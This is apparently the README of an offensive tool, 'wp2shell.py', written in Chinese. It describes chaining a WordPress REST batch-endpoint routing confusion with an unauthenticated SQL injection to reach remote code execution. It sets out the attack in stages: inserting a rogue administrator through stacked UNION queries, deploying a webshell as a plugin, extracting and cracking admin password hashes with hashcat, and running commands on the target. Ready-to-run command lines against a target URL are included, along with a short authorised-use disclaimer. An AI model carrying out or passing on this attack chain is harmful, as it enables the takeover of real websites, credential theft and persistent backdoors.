利用 WordPress REST API 路由混淆(CVE-2026-63030)+ SQL注入(CVE-2026-60137)在批量端点中实现远程代码执行。
WordPress REST API 的批量端点(/batch/v1)未能正确隔离请求路由。通过将批量请求相互嵌套,攻击者可以发出内部请求,绕过 WordPress 的正常权限检查。关键标志是响应中的 parse_path_failed + block_cannot_read 错误模式——这确认路由混淆是可利用的。
当请求通过批量端点被错误路由时,GET /wp/v2/posts 中的 author_exclude 参数未正确清理。这允许通过堆叠查询和 UNION 语句进行 SQL 注入——全部无需身份验证。
阶段 1:探测
─────────────
检查批量端点是否可达(HTTP 207)
通过标记请求验证路由混淆
通过时间/盲注确认 SQL 注入
阶段 2:UNION → RCE(快速路径)
─────────────────────────────
如果 UNION 注入有效:
1. 检测表前缀(盲猜或暴力枚举常见前缀)
2. 通过堆叠 UNION INSERT 查询创建管理员用户
- 在攻击者机器上通过 PHP 生成 Bcrypt 哈希
- 将行插入 {prefix}_users + {prefix}_usermeta
- 新用户获取管理员权限
3. 登录并将 Webshell 作为 WordPress 插件部署
4. 通过 ?t=TOKEN&c=id 执行命令
阶段 3:盲注 → 哈希(备选路径)
─────────────────────────────────
如果 UNION 被阻止但盲 SQL 注入有效:
1. 提取 MySQL 版本、用户、数据库名称
2. 从 information_schema 提取表前缀
3. 从 {prefix}_users WHERE id=1 提取管理员哈希
4. 离线破解:hashcat -m 3200 hash.txt wordlist.txt
5. 使用 --user / --pass --cmd id 并配合破解的密码
阶段 4:凭据登录
──────────────────────
如果提供了 --user/--pass:
1. 通过 wp-login.php 或 REST API Basic Auth 登录
2. 将 Webshell 作为插件上传
3. 执行命令
# 自动模式 — 检测、UNION、创建管理员、部署 webshell
python3 wp2shell.py https://target.com
# 使用已知凭据(例如破解哈希后)
python3 wp2shell.py https://target.com --user admin --pass P@ssw0rd --cmd id
# 仅 UNION(跳过盲注备选)
python3 wp2shell.py https://target.com --union-only
# 仅盲注提取(跳过 UNION 尝试)
python3 wp2shell.py https://target.com --blind-only
# 通过代理调试
python3 wp2shell.py https://target.com --proxy http://127.0.0.1:8080
# 自定义基于时间的盲注 SLEEP 时长(默认 0.01 秒)
python3 wp2shell.py https://target.com --sleep 0.5
此工具仅用于授权安全测试。在使用前,你必须获得目标拥有者的明确许可。未经授权访问计算机系统是非法的。
| 标志 | 描述 |
|---|
--proxy | HTTP 代理(例如 Burp Suite) |
--user | 用于登录的管理员用户名 |
--pass | 管理员密码 |
--cmd | 在目标上执行的命令 |
--union-only | 跳过盲注提取 |
--blind-only | 跳过 UNION 尝试 |
--sleep | 基于时间的盲注 SLEEP 秒数 |